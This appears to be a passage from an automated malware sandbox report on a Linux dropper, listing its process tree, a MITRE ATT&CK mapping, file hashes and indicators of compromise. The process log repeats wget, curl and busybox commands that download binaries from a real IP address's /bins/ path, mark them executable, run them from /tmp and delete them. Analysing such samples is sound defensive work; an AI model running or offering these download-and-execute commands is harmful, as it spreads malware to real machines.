  chmod 777 VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  ./VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
  2⤵
  PID:965
- /usr/bin/wget
  wget http://216.126.231.240/bins/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  PID:966
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  PID:968
- /bin/chmod
  chmod 777 CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  ./CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  - Executes dropped EXE
  PID:970
- /bin/rm
  rm CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
  2⤵
  PID:971
- /usr/bin/wget
  wget http://216.126.231.240/bins/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  PID:972
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:973
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  PID:974
- /bin/chmod
  chmod 777 c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  ./c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  - Executes dropped EXE
  PID:976
- /bin/rm
  rm c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
  2⤵
  PID:977
- /usr/bin/wget
  wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:978
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:979
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:980
- /bin/chmod
  chmod 777 Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - File and Directory Permissions Modification
  PID:981
- /tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  ./Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  - Executes dropped EXE
  PID:982
- /bin/rm
  rm Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
  2⤵
  PID:983

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX

Path /tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX	742	Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	748	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
/tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0	772	XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
/tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL	804	wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
/tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5	811	UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
/tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz	831	1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
/tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An	853	YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
/tmp/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d	859	GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
/tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ	865	IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
/tmp/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx	871	D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
/tmp/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH	877	VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
/tmp/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c	886	CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
/tmp/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA	892	c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
/tmp/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z	898	ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
/tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5	904	bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
/tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0	910	XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
/tmp/IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ	916	IaqFSATY7FiYSS2plPEvFmYLMES1IiOAnZ
/tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL	922	wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
/tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5	928	UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
/tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz	934	1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
/tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An	940	YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
/tmp/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d	946	GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
/tmp/ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z	952	ZavgN05Jc9WbD5IIRQHoDI8YucN8tB402z
/tmp/D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx	958	D4Cn2zKx7C4JH0TIFFxTrlat2LLy4jQmdx
/tmp/VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH	964	VZIkBreyI12KoGedNGjUp3CqiarjHSJ6vH
/tmp/CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c	970	CfqGT1YlKNJ9X1D2L2M9t1LPCQ99a6qZ3c
/tmp/c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA	976	c086P9jiGQ42tRXVKTF9tpzUQUfIfckOhA
/tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX	982	Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX